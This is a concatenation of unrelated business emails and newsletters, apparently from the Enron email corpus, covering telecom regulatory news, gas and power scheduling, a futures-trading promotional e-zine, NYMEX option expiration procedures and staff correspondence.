reserved for access to ATWIS)

The Public Service Commission has requested by June 15 copies of
all contracts that all certified telecom carriers have entered
into with multiple dwelling units (MDUs).

In April 1999 the PSC issued an order clarifying its policy for
residential MDU access.  Qwest Corp. appealed the PSC's order to
the Nebraska Supreme Court, which affirmed a majority of it.  The
court remanded to the PSC the issue of whether the rates it set
for MDU access comply with the U.S. Court of Appeals for the
Eighth Circuit's (St. Louis) decision in Iowa Utilities Board v.
FCC (120 F. 3d 753).

After reviewing the case's testimony, the PSC said it's
"disturbed" that some telecom carriers still may be utilizing
contracts with MDUs that contain exclusive access and/or
exclusive marketing provisions "in apparent blatant disregard of
prior orders of this commission, as well as the FCC."  (Docket
no. C-2534/PI-50 - The Commission, on its own motion, to examine
the potential noncompliance with Commission orders entered in
Docket no. C-1878/PI-23)

The Department of Public Utility Control has amended its Lifeline
plan to enhance assistance to individuals living on American
Indian tribal lands.  The measure adds language proposed by
Southern New England Telecommunications, which enhances
"subscribership and infrastructure deployment" within American
Indian communities by including a Lifeline credit of up to $30.25
per month and reducing Link Up service connection charges to
qualified applicants by $100.

The amendment follows an Oct. 5, 2000, FCC order to encourage
increased subscribership and infrastructure rollout in tribal
areas.  (Common Carrier docket 96-45)

The Public Service Commission yesterday ruled that business and
residential telephone customers can bring "slamming" or
"cramming" complaints to the commission without the assistance of
an attorney.  The PSC's ruling involved a complaint filed by
Seaway Painting LLC against WorldCom, Inc., about a billing
dispute.

The PSC dismissed the complaint, as requested by the petitioner,
but concluded that Seaway may refile its complaint and proceed
"with the assistance of a person of its choice, who need not be a
licensed attorney."  The commission based its decision on a
provision of the Michigan Telecommunications Act, which provides,
"Hearings shall be conducted in a manner as to optimize
expediency, convenience, and the ability of end users to bring
and prosecute, without the assistance of counsel, complaints
alleging [slamming or cramming] while preserving the rights of
the parties."  (Case no. U-12863)

The Qwest Communications International, Inc.-backed Oregon
Coalition for Consumer Choice yesterday criticized AT&T Corp. for
its recent announcement of an 11% increase in consumer long
distance rates.  "This rate hike from AT&T just underscore the
importance of bringing real competition to the Oregon long
distance market," said Dan Lavey, coalition director.

The group said Qwest's entry into the Oregon interLATA (local
access and transport area) market would save a customer who made
only one 10-minute long distance call $2.80 per month, more than
$33 a year, over AT&T.

MP Telecom, the telecom subsidiary of Minnesota Power, yesterday
announced that it has completed a major upgrade of its fiber
optic network with dense wavelength division multiplexing
technology.  The upgrade allows the company to increase greatly
data capacity serve to its customers in Minneapolis-St. Paul,
Duluth, St. Cloud, Brainerd, Grand Rapids, Hibbing, Virginia, and
Eveleth.

The company also has completed a 395-mile fiber optic network
connecting southern Minnesota to Minneapolis-St. Paul.  This
network ties in Rochester, Owatonna, Albert Lea, Austin, Winona,
and Red Wing.

CTC Communications has activated one of its four fiber networks
in western Massachusetts.  CTC PowerPath customers in Springfield
currently use the network, which was purchased from a variety of
dark fiber suppliers under a 20-year lease agreement and light up
by Cisco System, Inc., optronics.

The company said it will activate fiber access to its network in
over 60 locations throughout the New England and Mid Atlantic
states this year.

AGL Networks LLC has started building a fiber network in Atlanta.
It will include 616 conduit miles in Atlanta's central business
district and the cities of Buckhead, Galleria, and Sandy Springs.
AGL Networks is a subsidiary of AGL Resources, Inc., an energy
services holding company that serves customers in Georgia,
Tennessee, and Virginia.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D EN=
D =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D

To view this issue online, go to http://www.tr.com/statenews/.

Federal law prohibits duplication in any form, including
electronic, without permission of the publisher.

TR's State NewsWire Copyright 2000, 2001 Telecommunications
Reports International, Inc.  (ISSN 1082-9350) is transmitted each
business day, except holidays.

Telecommunications Reports International, Inc.
1333 H St. NW, Suite 100-E
Washington, DC 20005-4707

Jennifer Erschen, E-mail: mailto:jerschen@tr.com
Editor

Gayle Kansagor, E-mail: mailto:gkansagor@tr.com
Associate Editor-Online Publications

Steve Arlowe,  E-mail: mailto:sarlowe@tr.com
Senior Research Analyst

Susan McGovern,  E-mail: mailto:smcgovern@tr.com
Senior Telecommunications Analyst

Victoria Curtis,  E-mail: mailto:vcurtis@tr.com

Account Services:
Eileen Callahan (202) 312-6116, (202) 312-6065 (fax), E-mail:
mailto:ecallahan@tr.com

"Robb, Kathy" <KRobb@hunton.com> writes to the NYISO_TECH_EXCHANGE Discussion List:

From: Swider, Michael <mswider@sel.com>
To: 'krobb@hunton.com' <KRobb@hunton.com>
Sent: Thu Oct 04 16:40:49 2001
Subject: ICAP WP post

Kathy,

I know its a little late, but can you please distribute this to the NYISO
ICAP WG for tomorrow's meeting.

Mike
 <<ICAPWG Answers - Strategic Energy.doc>>

Michael Swider
Market Strategist
Strategic Energy
617-542-0928 office
617-548-6217 mobile
www.sel.com

 - ICAPWG Answers - Strategic Energy.doc 

I have not received this back yet.  I will call Ken today.

	Joan Quick
	11/28/2000 04:27 PM
		 
		 cc: 
		 Subject: ENA and Crescendo Agency Agreement

did you ever get this back from ken?

---------------------- Forwarded by Joan Quick/HOU/ECT on 11/28/2000 04:27 PM 
From: Joan Quick on 11/09/2000 04:16 PM
To: Teresa G Bushman/HOU/ECT@ECT, kckrisa@apex2000.net, Randall L 
Gay/HOU/ECT@ECT, Kimberly S Olinger/HOU/ECT@ECT, Stacey J Brewer/HOU/ECT@ECT
cc: Scott Josey/Corp/Enron@ENRON, Arvel Martin/HOU/ECT@ECT, Mark 
Castiglione/Corp/Enron@ENRON, Paul T Lucci/NA/Enron@Enron, Mark 
Whitt/NA/Enron@Enron (bcc: Joan Quick/HOU/ECT)
Subject: ENA and Crescendo Agency Agreement

This is the draft of the Agency Agreement between ENA and Crescendo.  I will 
have Gerald fill out the notices section with information re Stacy.  Please  
look over and  let me know by Monday at noon if you have any changes.  

Thanks.
joan

---------------------- Forwarded by Joan Quick/HOU/ECT on 11/09/2000 03:55 PM 
From: Gerald Nemec on 11/09/2000 03:02 PM
To: Joan Quick/HOU/ECT@ECT
cc:  

Sorry for the delay.  Please review the attached draft.  If it looks OK we 
can send to Ken for execution.

	Joan Quick
	11/09/2000 01:38 PM
		 
		 cc: 
		 Subject: 

hi gerald,  where do we stand in getting that agency agreement between ENA 
and crescendo?

thanks

Mr. Sikes, please refresh my memory what the TF report is.

Rosalee

JSikes@cfr.org on 03/21/2001 08:19:54 AM
To: 
cc:  
Subject: Bio Info for Energy TF Final Report

Please provide three to four lines for your name and bio for the TF report.
We intend to finish the report on Friday, 23 March.
R, Jim Sikes
Project Coordinator

Please visit http://tradeworld2000.com
The Internet's Premier site for Recommendations, Education, and powerful
charts & tools!
For subscr or unsubscr instructions,
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HotToday - http://TradeWorld2000.com
______December the 13th, 2000__________
CTS HOT TODAY...By Nick Van Nice
_________Volume 2, Number 209 __________

Good morning everyone, the purpose of CTS Hot Today is to help
you prepare for the trading day ahead.

Nick's Trading Tip of the Day (12/13)

"Harness the Power of Confluence"

The Websters definition of confluence is;

To come together or flow together like two streams converging
into a river.

For technical trading, confluence is a very powerful concept.
For example, a stochastics crossover from oversold levels has
no statistical significance on its own merit. However, as soon
as you say the trend is up, then entering on the crossover produces
positive results is some markets. Furthermore, let's say the oversold
stochastics has formed while prices are testing major chart support or
perhaps the breakout point of a weekly price pattern or congestion areas.
That's a higher standard of confluence.

For a current example of confluence, let's examine the Canadian dollar;

1. Trend is down as quantified by the CTS trend arrows. (Long and Int.)
2. Correction has unfolded in a text book zig-zag correction that has
retested
the neckline of a massive head and shoulder top as seen on the
weekly chart at 66.00. 3. The zig-zag correction shows A and C are
equal and both break down into 5 legs.
4. Daily stochastics show a trend confirmation sell signal with a clear
failure
point above the neckline.
5. Today's gap lower open has caused daily stochastics to cross and
confirms the entire scenario.

Bringing together two or more technical indicators or observations that
point
in the same direction is called confluence. My experience has shown me that
the more technical evidence I can stack in my corner, the higher the
probability of the desired outcome. Now please, don't
misunderstand what I'm saying. I don't believe accurate technical
analysis on it own produces a high probability
of winning trades. A high probability of winning comes from your exit
strategy.
If you keep your expected profit/loss ratio small, then you will win
on greater than 50% of your trades. However, if you look for the big
ratio (3 to 1 or higher, then
you're doing well to win on anything greater than 35% of your trades.

One of the greatest exercises my Father passed down to me, was using
all charting time frames to establish confluence before taking a trade.

You start with the monthly chart, go to the weekly chart, then to the daily
and
finally the hourly. Write down on each chart what the indicators are saying
and what price patterns have formed. If you find a market that has bullish
evidence
on every time frame, then you have a great candidate for a long entry.

I like taking the CTS Market Selector list of strong trending markets,
and doing a complete monthly chart to 60-minute chart review searching for
confluence. The great trades almost always have substantial evidence from
multiple time frames before unfolding.

Another case and point is Feeders;

The monthly and weekly charts clearly identified a major up trend in
motion and a bullish price pattern several weeks ago. We had confluence on
the daily price patterns and stochastics trend confirmation signals.

Hogs and bellies recently had the same type of confluence and that lead
directly
to my 495 point, $1700 winner in Hogs after commissions winner.

The Yen is another market with major confluence. The downside breakout
of the prior 15-month old trading range was recently followed by a pause.
Since we just took out last weeks low, this pattern now projects major
downside
potential. A quick view of the monthly chart shows the prior multi-year
rally
could be an ABC correction. Can you see the concept of confluence at work
here?

Homework:

Review the list of CTS Market Selector bull markets and find the ones
that have confluence on all time frames (M.W.D.60). Feel free to e-mail me
your observations and I'll respond if you'd like.

N

Key Technical Developments (close of 12/12)
March cotton dropped to new 5-week lows following the
USDA report. The price pattern looks like an island top with
a see through gap. Only a rally above the gap over the next
few trading sessions will turn the technical positive.

March Japanese Yen closed down 61 points and dropped below
last weeks low. A further decline below last weeks low at 90.88
opens the door for a major collapse of 700 to 1000 points.
Hold shorts if you got 'em with stops above last weeks high.

The March Canadian dollar has confirmed our bearish outlook
talked about yesterday. Huge downside potential is seen to the
62.00 level over the next few months. Tomorrow could be a large down
day!

December and February hogs are showing early signs of a short
term climax. Consider taking profits and heading to the sidelines.

************CTS Universe Trader Banks $1700 profit**************

After a flat performance period for the last few weeks, the CTS Universe
Trader
banked a 495 point profit in December Lean hogs. I really like what I'm
seeing
now in several markets and believe a very profitable period for swing
trading
lies dead ahead. Historically, the first quarter has always been
outstanding.

CTS swing trading pinpoints short term high probability trades in the
strongest
trending markets. We essentually look for corrections in the strongest
trending markets which satisfy our set-up conditions. Our goal is to make
$1,000 per month per contract, while keeping our exposure per trade under 5%
of equity based on a 20,000 account. Another goal is to keep our largest
drawdown under 20%.

All the trades for the CTS Universe Trader are traded in a
real-time account so that we report the exact same results
our subscribers get. The account pays a $20.00 round turn commission
rate and is handled by a broker taking the trades off the website the same
time subscibers get the information. To join one of our exclusive CTS
Swing Trader services go the home page at Tradeworld2000.com
to place your order, or simply call us tomorrow morning at 1-800-331-1069
and tell 'em Nick sent ya.

Opportunity Alerts (Links to premium content)
The following are shortcuts to key links for our TradeWorld2000.com
premium subscribers. If you are not a subscriber, it costs only
$29.95 to have access to all of this and much more for the next 30 days.
That's right! Less than $1 per day...

Nick's Hot List...Strong Trends undergoing short term corrections!
See the CTS Market Selector.
<http://tradeworld2000.com/cts/market/msc.pdf>
<A HREF="http://tradeworld2000.com/cts/market/msc.pdf">
AOL Users Click Here</A>

Nick's daily column of short-term opportunities
See the daily trend watch
<http://tradeworld2000.com/cts/market/DTWfs.htm>.
<A HREF="http://tradeworld2000.com/cts/market/DTWfs.htm">

See MR-2 alert!
<http://tradeworld2000.com/cts/market/mr2_fs.htm>.
<A HREF="http://tradeworld2000.com/cts/market/mr2_fs.htm">

CTS Stock Selector
<http://tradeworld2000.com/cts/stockad/mss.pdf>.
<A HREF="http://tradeworld2000.com/cts/stockad/mss.pdf">

See CTS Hot Stock Alert
<http://tradeworld2000.com/cts/stockad/soh_fs.htm>.
<A HREF="http://tradeworld2000.com/cts/stockad/soh_fs.htm">

If the above links do not work, then consider accepting my invitation
to subscribe to TradeWorld 2000.com. It will give you a serious edge!

------------------------------------------------------
Traders'Key Report Calendar

Wednesday, December the 13th

8:30 am ET
Nov. Retail Sales - .1%

Thursday, December the 14th

8:30 am ET
Oct Business Inventories - est .3%

November PPI - est .2%.
Worldwide crop production report

Friday, December the 15th

8:30 am ET
Nov. CPI - est .2%
9:15 am ET
Nov Industrial Production - est .1%
Capacity Utilization - 81.9%

I hope you found today's message helpful.

Your partner in futures trading,

Nick Van Nice

P.S. E-mail me your comments to:
nvannice@ctsinternet.com <mailto:nvannice@ctsinternet.com>.
House Keeping Notes
CTS HotToday is a free service for subscribers
of CTS Financial Publishing and TradeWorld2000.

If you do not wish to receive CTS HotToday, it's easy
to unsubscribe. Simply, follow the instructions at the bottom
of this email.

Please address your comments and suggestions for this
column to me at nvannice@CTSInternet.com <mailto:nvannice@CTSInternet.com>.

Please be aware that links to CTS paid content will
work only for paid subscribers of TradeWorld2000.com.
For subscription information, please see our site:
<http://TradeWorld2000.com>
<A HREF="http://tradeworld2000.com">AOL Users Click Here</A>
Or call 1-800-331-1069.
___________________###_______________________
CTS HOT TODAY is a service of CTS Financial
Publishing, 1201 U.S. Highway 1, Suite 350, North
Palm Beach, FL 33408, , 2000.
This e-zine is a free service for CTS customers and
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products, please visit:
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DISCLAIMER: Past performance is not indicative of
future results. The ideas expressed in this document
should be viewed in an educational light. Use the
concepts and trade suggestions to help stimulate
prudent decision-making ideas. As with all
speculation, there is risk of loss. It is up to
each individual to determine his or her own
financial suitability. Any mention to profits relate to
hypothetical profits and may not accurately reflect
the slippage and commissions in the real market.
Trading futures is highly risky and should only be
done after seeking the services of a registered series
3 broker or Certified Financial Planner. Use this information
at your own risk.

Please refer a friend who might enjoy this FREE resource. We welcome new
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members.

	Lynn - Oncall

Date:		4/29/2001

i wasn't that drunk on saturday.  i was just joking.  i felt great on 
saturday.  like a champ.  people get married younger than you?  wow.  what 
the hell do they do if they get married that early?  

---------------------- Forwarded by Joann Collins/Corp/Enron on 01/19/2000 

kdestep@columbiaenergygroup.com on 01/19/2000 08:58:38 AM
To: Joann Collins/Corp/Enron@ENRON, "        -         *Rose, Maggie" 
<mrose@columbiaenergygroup.com>, "        -         *Lombardo, Fred" 
<flombar@columbiaenergygroup.com>
cc: "        -         *Stiles, Marianne" <mstiles@columbiaenergygroup.com> 

Subject: BGE OFO

The restrictions at BGE will continue today the 19th.  The posting said it
might last until Friday.  Like yesterday, Fred will be determining how much
extra needs to be bought and delivered intraday.  I will work with Enron to 
buy
the gas and get the contract number in order to nom the supply and the 
customer
allocations.  If the customer burns more than 3% over what we have allocated 
to
them, they will be buying gas at the $12.00 Production Rate.

Thank you,
Kara

Sheryl, sorry, I had the wrong email address.  Here is the resend.  Michelle

---------------------- Forwarded by Michelle Cash/HOU/ECT on 08/29/2000 04:06 

Mailer-Daemon@bracepatt.com on 08/29/2000 04:02:42 PM
To: Michelle.Cash@enron.com
cc:  
Subject: Message status - undeliverable

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id 8625694A.00735BE5 ; Tue, 29 Aug 2000 16:00:01 -0500
From: "Michelle Cash" <Michelle.Cash@enron.com>
To: "Debbie Rank" <rank@mdjlaw.com>, ekroger@bracepatt.com,        
esholeen@bracepatt.com, "Michelle Blaine" <Michelle.Blaine@enron.com>,        
cgussett@bracepatt.com, msymonds@bracepatt.com, iblanco@bracepatt.com,        
kgstith@littler.com, dscofield@velaw.com
Message-ID: <8625694A.007359C5.00@notes.ect.enron.com>
Date: Tue, 29 Aug 2000 15:59:58 -0500
Subject: "No Excuse" Girls Night

Hello everyone!!

Well, no one is celebrating anything specific, so we haven't had an 
for the girls to get together in a while.  Therefore, we have decided to have 
a
NO Excuses Girls Night.

The proposed date is Friday, Sept. 29 -- Are there any major conflicts with 
this
date?

Proposed place is to be determined.  Debbie Rank suggested that a restaurant
would be the easiest.  I offered to have it at my house, but she was concerned
that I would get stuck doing too much and spending too much.  My thought is 
that
if everyone agrees to chip in a bit, we can have it catered, and no one will

Start Date: 4/22/01; HourAhead hour: 6;  No ancillary schedules awarded.  

Schedules\2001042206.txt

     Details:

  INTERCHG_ID: EPMI_CISO_ERNIE
     Details:

     Details: (Hour: 6 / Preferred:  68.61 / Final:  68.58)

Atlanta-6
SD-4
Miamia-8
Minn-3
NYG-12
Phil-13
Pitt-2
Balt-5
Jack-11
Denver-9
NYJ-10
Oak-14
GB-7
SF-1
St. Louis-15

Please contact Cheryl or Marilyn Colbert for any name change, mergers, 
acquisition documents
---------------------- Forwarded by Adnan Patel/Corp/Enron on 11/14/2000 
09:49 AM ---------------------------
From: Tana Jones@ECT on 11/14/2000 09:40 AM
To: Adnan Patel/Corp/Enron@ENRON
cc:  
Subject: Re: EOL Credit GCP Responses 11/09/00  

Is Calpine Energy Services, L.P. a name change from Calpine Power Services 
Company?  If it is I need to see the name change, because I have a financial 
master executed under Calpine Power Services.  Can you fax it to me at 
713/636-3490.  Thanks!

	Adnan Patel@ENRON
	11/10/2000 10:01 AM
		
		 To: Karen Lambert/HOU/ECT@ECT
		 cc: Tana Jones/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Mark 
Taylor/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, 
David Hardy/LON/ECT@ECT, Lesli Campbell/HOU/ECT@ECT, Cynthia 
Contracts and Facilities@ECT, Enron Europe Global CounterParty@ECT, Stephanie 
Richardson/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Claudia Clark/HOU/ECT@ECT, 
William S Bradford/HOU/ECT@ECT, Lisa Lees/HOU/ECT@ECT, Juana 
Paul Maley/LON/ECT@ECT, Sonya Clarke/LON/ECT@ECT, Lee Munden/LON/ECT@ECT, Tim 
Davies/LON/ECT@ECT
		 Subject: Re: EOL Credit GCP Responses 11/09/00

Attached is the list of GCP Signoffs on EOL Approvals for 11-09-00, marked in 
RED

Adnan

Bradley Diebner@ECT
11/10/2000 07:54 AM
Global Contracts and Facilities, Enron Europe Global CounterParty, Stephanie 
Munden/LON/ECT@ECT, Tim Davies/LON/ECT@ECT
cc:  
Subject: EOL Credit Responses 11/09/00

Regards,
bd

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                        <td align="right" valign="top" bgcolor="#E1F2FF"><b>Today:</b></td><td bgcolor="#E1F2FF"> Mostly cloudy with a few showers. High around 50F. Winds N to NE 10 to 15 mph. Chance of precipitation 40%.</td>
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Theirs is below; here's ours:

---------------------- Forwarded by Dale Neuner/HOU/ECT on 06/24/99 09:29 AM 

06/23/99 11:30 AM
cc: Mark Elliott/LON/ECT@ECT, Martin Holmes/LON/ECT@ECT, Tom 
Bruce-Jones/LON/ECT@ECT, Dale Neuner/HOU/ECT@ECT 
Subject: John Roberts Holdings Limited

Jeff,

Following the earlier telephone conversation with Mark Elliott, please find 
attached the deemed ISDA Confirmation for the transaction with the above 
counterparty.  We look forward to viewing Dale's version for the back-to-back 
with ECT.

Regards, Edmund.

????????????????????????????????????????????????????????????????????????????
?????????????12/4/00 
Dear Mr Skilling, 
Attached is a letter concerning gas turbine power plants which could be 
operational next summer. 
John A. Misteli
 - GT Lttr HC4-2A E Mail.doc

That sounds great!  Can you fax the 08/01 invoices to me at 713-646-8420?
Thanks, Gloria

From: 	Staab, Theresa  
Sent:	Tuesday, November 06, 2001 4:11 PM
To:	Barkowsky, Gloria G.
Subject:	RE: Crestone Imbalance

Gloria,
Thanks for the heads up on  9/01.  I'm printing the report right now and I'll get with Amy tomorrow (she's out today).  If you would like to look at August that would be fine - I would just like to stress that changing any receipts will affect our purchases and likewise with our deliveries.  If you could define the differences first then maybe I can lead you to where the issues are.  How does that sound?  

I also think by doing this it will get you familiar with this pipeline and maybe in the future you could take this part over.  It's just very confusing at first.

Let me know ,
Theresa

From: 	Barkowsky, Gloria G.  
Sent:	Tuesday, November 06, 2001 2:56 PM
To:	Staab, Theresa; Felling, Amy
Cc:	Schumack, Sherlyn

There is an interconnect between WIC and FUGG for 09/01.  The WIC # ties to the
statement.  Can you please check the FUGG # ?  
Right now, I have some extra time.  I would love to help you guys with this imbalance.
Could I take a look at 08/01?  Please let me know.  Thanks, Gloria

Sent:	Wednesday, October 24, 2001 2:46 PM

Gloria,
Amy Felling here is working on current month and I'll continue on prior month variances.  We'll let you know the status of current month by tomorrow afternoon.

Thanks,
Theresa

Sent:	Wednesday, October 24, 2001 11:56 AM
Subject:	Crestone Imbalance

 << File: Crestone.xls >> 

Theresa - here's the latest by month of the imbalance.  Please let me know if
there is any way that I can help you.  Could I look at current month, while you
look at the past stuff?  Please let me know.  Thanks, Gloria

Attached is the resume for the interview I set up on Thursday, Oct. 18.  Rod at 2:30 and Michael at 3:00
 
Thanks
 
From: mhughes@paincarecenter.com [mailto:mhughes@paincarecenter.com]
Sent: Monday, September 10, 2001 1:24 PM
Subject: Fw: Cal's resume

Tracy,
Here is Cal's resume. We would appreciate any help you could give him. He is available to come by and meet anyone you would think appropriate in the intern process. Please advise us what we should do next. He is working up here to get some experience but very interested in any prospects you might have at Enron. Thanks, Tracy!
Marsha
From: Cal Hyslop <mailto:wh9604@hotmail.com> 
To: mhughes@paincarecenter.com <mailto:mhughes@paincarecenter.com> 
Sent: Monday, September 10, 2001 1:05 PM
Subject: Cal's resume

Marsha,
 
Here is my resume for Enron.
 
Thanks,
CAL

  _____  

Get your FREE download of MSN Explorer at <http://explorer.msn.com>

(See attached file: aga012502.PDF)

 - aga012502.PDF 

y=20
r=20
t=20
=20
=20

s=20
s=20
le=20
rt=20

 =20
=20

ip=20
f=20
er=20
ties=20

n=20
=20
ct=20
=20

ed=20

=20

	As I sit here this Wednesday morning and watch ENE trade $15.80 I can not begin to explain the pit in my stomach.  I have been an employee of Enron since June of 1984, I have never written a memo to my CEO to express opinions and or ask direct questions. 
	I can not believe that the individuals that are responsible for this catastrophe are still employed.  And I guess I need to understand why?  FIRED THEM !   It is apparent to me  that the information we have given to the market place is not sufficient enough.  "THEY" don't trust us anymore.  Get a plan of action, attack it, and save this company.

Many employees here at Enron knew Cliff Baxter well and were inspired by his spirit and his dedication to his family and to Enron.  For those of you who wish to honor Cliff, his family has requested that in lieu of flowers donations be made to:

American Cancer Society
6301 Richmond Ave.
Houston, Texas 77057
1-800-227-2345

or, 

Junior Achievement
2115 East Governor's Circle
Houston, TX 77092
(713) 682-4500

Services for Cliff will held in his hometown and will be private.

Hey Steve,

     I'm still waiting on info from Stacy regarding adding language to your contract.  Just wanted to keep you posted.  If I don't talk to you, have a great long weekend and I will talk to you on Tuesday.

Thanks,

Kim

---------------------- Forwarded by Stephen Bennett/NA/Enron on 12/05/2000 
05:48 AM ---------------------------

JMurphy@weather.com on 12/05/2000 03:20:00 AM
To: Stephen.Bennett@enron.com
cc:  

Subject: Summary of Hurricane Season 2000

                    Steve Lyons
                                         To:     Met Department, OCM 
Department, Production Department, Radio,
                    12/04/00             LatinMet LatinMet/TWC@TWC, News 
Center, Weather-com Atlanta
                    04:41 PM             cc:
                                         Subject:     Summary of Hurricane 
Season 2000

Steve Lyons
Tropical Program Manager
The Weather Channel
slyons@weather.com
770-226-2537

For your information I have attached a TWC summary of hurricane season 2000.
This summary was written with help from John Hope and Stu Ostro.  If you have
any questions please contact me.  Thanks, Steve

(See attached file: Summary of Hurricane Season 2000.doc)

 - Summary of Hurricane Season 2000.doc

Notice No. 01-155
May 11, 2001

TO:
All NYMEX Division Members/Member Firms
All NYMEX Division Clearing Members
All NYMEX Division Floor Traders
All NYMEX Division Operations Managers

FROM:
George Henderson, Vice President

RE:
Options Expiration Operational Procedures for the Trading Floor and Clearing 
Members

The expiration date for the May 2001 options contract for Crude Oil (LOK1) is 
Tuesday, April 17, 2001.

GENERAL OPERATIONAL PROCEDURES

All Clearing Members and Qualified Floor Traders that carried an options 
position as of the close of business day prior to the expiration day, or 
engaged in trading activity on Expiration Day in the expiring options 
contract will be required to have a knowledgeable, duly authorized 
representative present at their normal work station promptly at 5:30 p.m. 
until released by the Exchange staff as specified below.  All adjustments 
and/or corrections, must be accompanied by relevant supporting documentation 
prior to being incorporated into expiration processing, in essence making the 
expiration processing an extension of the afternoon trade resolution 
procedures.  All input to the NYMEX Clearing Department will conclude no 
later than 30 minutes after floor representatives are released.

Exchange Clearing (299-2110), Floor Trade Correction (299-2068 and 299-2169) 
personnel, as well as a representative of the Floor Committee will be 
available to assist with the processing of notices of Exercise and 
Abandonment, position transfers, trade corrections and other questions or 
problems you may have.

CLEARING DEPARTMENT OPERATIONAL PROCEDURES

The Option Expiration process is a screen based process for which all 
information is provided on the screens on C21 terminals. No Option Expiration 
Reports will be provided. The following screens will assist you through the 
Option Expiration process:

MEMBER TRADE INQUIRY
Contains real-time top day trade information, trade information for the 
previous 4 business days and trades adjusted for the previous 4 business days 
by adjustment date.

SINGLE POSITION MAINTENANCE
Contains a real-time snapshot for each option series from the start of day 
position to the projected end of day position.

REVIEW ACCEPT REJECT TRANSFERS
Contains all trade and position transfers "TO" your firm and the status of 
each transfer.

REVIEW SUBMITTED TRANSFERS
Contains all trade and position transfer "FROM" your firm and the status of 

EXERCISE NOTICE SUBMISSION
Contains your available long position and an input field to enter the number 
of long positions you wish to exercise.

DO NOT EXERCISE SUBMISSION
of long positions you wish to abandon.

POSITION CHANGE SUBMISSION
PCS may be submitted either by manual input or by electronic transmission.  
Any PCS input on a Clearing 21 terminal will be the input processed by the 
system.  This input may be made at any time prior to 6:45 p.m.  Any PCS input 
via transmission for that contract series will be disregarded.

ALL POSITIONS ARE DEEMED FINAL
Upon completion of all PCS input, all positions will be deemed final.

EXERCISE/ASSIGNMENT INFORMATION
Will be available to you on the Single Position Maintenance window by 
contract series or the Assignment List window which contains all your 
Assignments on one window. You will be notified of its availability by C21 
E-Mail and by Fast Facts. This should occur within 1 hour of the last PCS 
input.

All Clearing Members are required to have an authorized representative(s) at 
their C21 workstations in preparation for any communication during the 
expiration process.

FAST FACTS
Clearing Members should call the Fast Facts information service 301-4871, 
access code 700 for event messages advising Members of the event status.

E-MAIL
Clearing Members should read their C21 E-Mail messages immediately to be 
aware of event status.

The standard event Fast Facts and/or E-Mail messages and the sequence in 
which they will be announced are:

Standard Event Message: Announce Out-of-the Money Exercise and In-the-Money 
Do Not Exercise Submissions
Approximate Time of Message Availability: 5:45 PM
Usual Event Time: 5:45 PM
Announced via Fast Facts

Standard Event Message: Announce Final Input to C21 Cutoff Time
Approximate Time of Message Availability: 6:30 PM
Usual Event Time: 6:45 PM
Announced via e-mail

Standard Event Message: All positions are deemed final
Approximate Time of Message Availability: 7:30 PM

Standard Event Message: Announce Exercise/Assignment Information Available on 
the Single Position Maintenance Windows
Approximate Time of Message Availability: 8:25 PM
Usual Event Time: 8:30 PM
Announced via Fast Facts and e-mail

Standard Event Message: All Report Distribution is completed
Approximate Time of Message Availability: 11:00 PM
Usual Event Time: 11:00 PM

The times appearing in the Usual Event Time column are based on normal 
operational conditions and could vary.

NYMEX EXPIRATION DAY PROCESSING OVERVIEW OF MEMBER REQUIREMENTS

Time: 5:30 PM
Activity: Exercise Notice Submission
Event: Input to C21 Cutoff Time
Reference Number: 1

Activity: Do Not Exercise Submission
Reference Number: 2

Time: 5:45 PM
Activity: Announce Out-of-the-Money Exercise and In-the-Money Do Not Exercise 
Submissions
Event: Fast Facts Notice
Reference Number: 3

Time: 6:30 PM
Activity: Announce Final Input to C21 Cutoff Time
Event: C21 E-mail
Reference Number: 4

Time: 6:45 PM
Activity: Final Input to C21 Cutoff Time
Reference Number: 5

Time: 7:30 PM
Activity: All Positions are Deemed Final
Reference Number: 6

Time: 8:25 PM
Activity: Announce Exercise/Assignment Information Available on the Single 
Position Maintenance Windows
Event: Fast Facts Notice and C21 E-mail
Reference Number: 7

If you have any questions concerning these procedures, please contact Charles 
V. Bebel at 299-2130, Angel Rivera at 299-2150 or Anthony Di Benedetto at 
299-2152 prior to the expiration date.

email.

"http://208.206.41.61/email/email_log.cfm?useremail=tana.jones@enron.com&refdo
c=(01-155)"

The NYISO Back-Up Dispatch System  is scheduled to be tested on Tuesday,
January 8 ,2002.  The test will begin at about 10:30 a.m. and last for
approximately one hour.

Security Constrained Dispatch (SCD) will be stopped, but the mainframe
computer will continue to operate, allowing the NYISO to monitor security.
If a situation occurs, the Shift Supervisor will be able to re-start SCD
and take appropriate action.  The Market Information System (MIS) and
Balancing Market Evaluation (BME) will remain available during the test.

If you have any questions, please call Customer Relations at 518-356-6060.

---

Start Date: 10/12/01; HourAhead hour: 2;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001101202.txt

Elvis, 

I cannot open this document either.  I wonder if you could fax it to Rocky at 
713.646.8381.  

Thank  you,

WThom25746@aol.com on 09/12/2000 09:34:43 PM
To: harris@wheelerads.com, AZaremba@fzci.net, AKINPA@email.msn.com, 
jansson@mindspring.com, BJordan@intertrust.com, WMPat50@aol.com, 
GOLFNBUD@aol.com, handshohl@eudoramail.com, CraigD9561@aol.com, 
chuck.paul@a-closer-look.com, boardwalk@iquest.net, judgegyro@yahoo.com, 
fredinvt@juno.com, wgander@email.twa.com, Craig.Weichmann@morgankeegan.com, 
christop@netcomuk.co.uk, pastorhess@hotmail.com, jskilli@enron.com, 
JDent@express-news.net, JimFUlrich@aol.com, John_Grumbles@berryplastics.com, 
johnmiller@advlaser.com, kcason@flash.net, kstewart@ctcua.org, 
leland.white@energyspectrum.com, MDLR15@aol.com, markpa@gateway.net, 
mbaddour@msn.com, PWM1950@aol.com, RHarman@bass-associates.com, 
rrossell@angiodynamics.com, sogborn@goiac.com, bensons3@airmail.net, 
hosman@eskridge.net, HutchatHOH@aol.com, JAWALLACE12050@aol.com, 
willamhjordan@mindspring.com, boethia@hotmail.com
cc: Twin71251@aol.com 

Subject: Beta Party

It appears no one can open the attachment I sent with my e-mail last night.
I'll try this again. The attachment below gives the details on the Friday
